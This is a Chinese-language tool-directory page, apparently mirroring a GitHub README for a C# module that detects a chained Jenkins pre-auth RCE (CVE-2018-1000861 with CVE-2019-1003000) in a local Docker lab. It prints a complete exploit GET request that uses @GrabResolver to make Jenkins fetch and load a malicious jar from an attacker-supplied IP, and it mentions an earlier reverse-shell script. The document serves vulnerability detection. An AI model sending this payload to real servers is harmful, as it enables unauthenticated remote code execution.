Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-1003000_RCE-DETECTION — 一个用于检测Jenkins服务器是否存在CVE-2019-1003000 RCE漏洞(结合CVE-2018-1000861实现预认证RCE)的C#模块。 | Kitploit
工具/GitHubGitHub/1nthekut/cve-2019-1003000_rce-detection
侦察漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHub1nthekut/cve-2019-1003000_rce-detection

CVE-2019-1003000_RCE-DETECTION

一个用于检测Jenkins服务器是否存在CVE-2019-1003000 RCE漏洞(结合CVE-2018-1000861实现预认证RCE)的C#模块。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
427年前尚未审核

CVE-2019-1003000_RCE-DETECTION

总体概述

通过将漏洞 CVE-2018-1000861 与 CVE-2019-1003000 进行链式利用,我创建了一个模块,用于测试 Jenkins CI 上的未授权远程代码执行(Pre-Auth RCE)。起初,我尝试通过用户名、密码和作业名称来检测漏洞;但我觉得,将这两个漏洞链式利用来解决这个挑战会更加现实且有趣。

前提条件

在您的 Windows、Linux 或 macOS 机器上安装 Visual Studio 或 .NET Core 框架。

环境搭建(我的做法)

  1. 首先从 DockerHub 拉取指定 Docker 版本(根据挑战说明):docker pull jenkins/jenkins:2.121
  2. 然后编写了一个 bash 脚本(见本仓库),用于启动一个运行漏洞 Jenkins 服务器的新 Docker 容器,并将其绑定挂载到本地机器
    • 管理员用户
      • 用户名 - Naruto
      • 密码 - Uzumaki
      • 名称 - Naruto
  3. 接着导航到 plugins.index.io,查找要安装到 Jenkins 中的特定插件版本
    • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
    • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
    • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
    • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
      • 安装插件后,导航到“管理插件”中的“高级”部分,清空“更新站点”字段并保存,以防止重启时自动更新。

执行(您应如何安装和运行)

  1. 导航到 payload 目录并运行 mvDir.sh
    • 以 ./mvDir.sh 方式运行
      • 该文件应该已经被标记为可执行,如果没有,请运行 chmod +x mvDir.sh。如果仍然无法运行,可以用 bash mvDir.sh 来运行。
      • 该命令会将包含恶意 jar 的目录移动到计算机的根目录,GET 请求将在查找恶意请求中指定的 jar 文件时搜索该位置。
  2. 导航到 jenkins_environment 并运行 ./run_vuln_jenkins.sh
    • 如果上述命令无效,请按照上述说明操作。
    • 此 bash 脚本将运行托管漏洞 Jenkins 服务器的 Docker 容器(在 http://localhost:8080 上)。
    • 此外,运行 ./run_updated_jenkins.sh 或 bash run_updated_jenkins.sh 将会启动一个安全的、最新版本的 Jenkins 服务器,运行在 http://localhost:8000 上。对此服务器运行该模块将显示它是安全的,不受 CVE-2018-1000861 与 CVE-2019-1003000 链式利用的影响。
  3. 导航到 exploit-detection-code/jenkins-server-rce/
    • 该项目是使用 .NET Core 框架构建的。要运行,首先执行命令 dotnet build
    • 运行模块
      • 运行模块:dotnet run -- -u http://localhost:8080 -ip <主机IP地址>

思考

我最初的规划为解决问题提供了良好的框架;但在实际实施过程中,我发现很多工作被不必要地复杂化了。我最初创建了一个 bash 脚本,用于向宿主机发起反向 shell 以证明 RCE。然而,本次挑战的目标是证明漏洞的存在。在这种情况下,是要证明在 Jenkins 版本 2.121.2 上,安装以下插件时存在 RCE:Pipeline: Declarative Plugin 至 1.3.4,Pipeline: Declarative Extension Points API 至 1.3.4,Pipeline: Groovy Plugin 至 2.61,Script Security Plugin 至 1.49。

实际上我无需创建反向 shell 并展示可以执行任意命令。因此,这使得在 Windows 和基于 .nix 的操作系统上进行检测变得更加容易。在发出 GET 请求后,我发现页面会返回一个状态标记为成功,或者打印一条错误消息。但为了确保成功状态不是误报,我在宿主机上使用 python -m SimpleHTTPSever 80 设置了一个 Web 服务器。在向指定的恶意 JAR 文件(可在 payload 文件夹中找到)发起自定义 GET 请求后,可以看到 GET 请求返回了 200 状态码,并且路径指向本地机器上的 jar 文件,从而证明了漏洞的存在。以下是 GET 请求和相应响应的示例。不同的文件路径(tw/ 和 www/)都包含了恶意 jar;它们只是请求用来查找该 jar 的不同路径。

GET 请求

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

使用的来源

  • https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
  • https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
  • https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/
下载工具
  • 注意:不要忘记 http://,否则程序会抛出 HTTP 异常,您需要重新运行。
  • 参数选项

    缩写完整形式描述
    -uname--usernameJenkins 用户名
    -p--passwordJenkins 用户密码
    -u--url目标 URL
    -ip--ip addressIP 地址
    -v--verbose详细输出
  • -p、-uname 尚未实现,因为我只创建了用于检测未授权 RCE 的模块。我认为这对于 Detectify 来说更现实,因为我认为公司的扫描器只会针对目标域名(而不会包含密码和用户名等自定义参数,因为即使是为了帮助改善安全状况,一个公司向另一个公司提供这些信息也是不安全的)。